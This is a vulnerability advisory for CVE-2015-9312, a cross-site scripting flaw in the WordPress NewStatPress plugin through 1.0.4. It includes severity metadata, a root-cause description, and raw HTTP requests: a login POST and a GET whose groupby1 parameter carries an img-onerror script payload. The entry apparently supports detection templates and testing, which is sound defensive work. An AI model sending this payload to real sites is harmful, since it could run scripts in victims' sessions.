| Title | NewStatPress <=1.0.4 - Cross-Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Fixed in version 1.0.6 |
| CVSS Score | 6.1 |
| EPSS Score | 0.06836 |
| CVE ID | CVE-2015-9312 |
| CWE ID | CWE-79 |
| Tags | cve2015 cve xss authenticated wp newstatpress wpscan wordpress wp-plugin newstatpress_project vuln |
WordPress NewStatPress plugin through 1.0.4 contains a cross-site scripting vulnerability. The plugin utilizes, on lines 28 and 31 of the file “includes/nsp_search.php”, several variables from the $_GET scope without sanitation. While WordPress automatically escapes quotes on this scope, the outputs on these lines are outside of quotes, and as such can be utilized to initiate a cross-site scripting attack.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=mFXHmn&pwd=KcDUyq&wp-submit=Log+In
GET /wp-admin/admin.php?groupby1=checked%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29&page=nsp_search&newstatpress_action=search HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2015/CVE-2015-9312.yaml
🦈 Packet Capture: ⬇️ Download cve-2015-9312.pcap
N/AN/A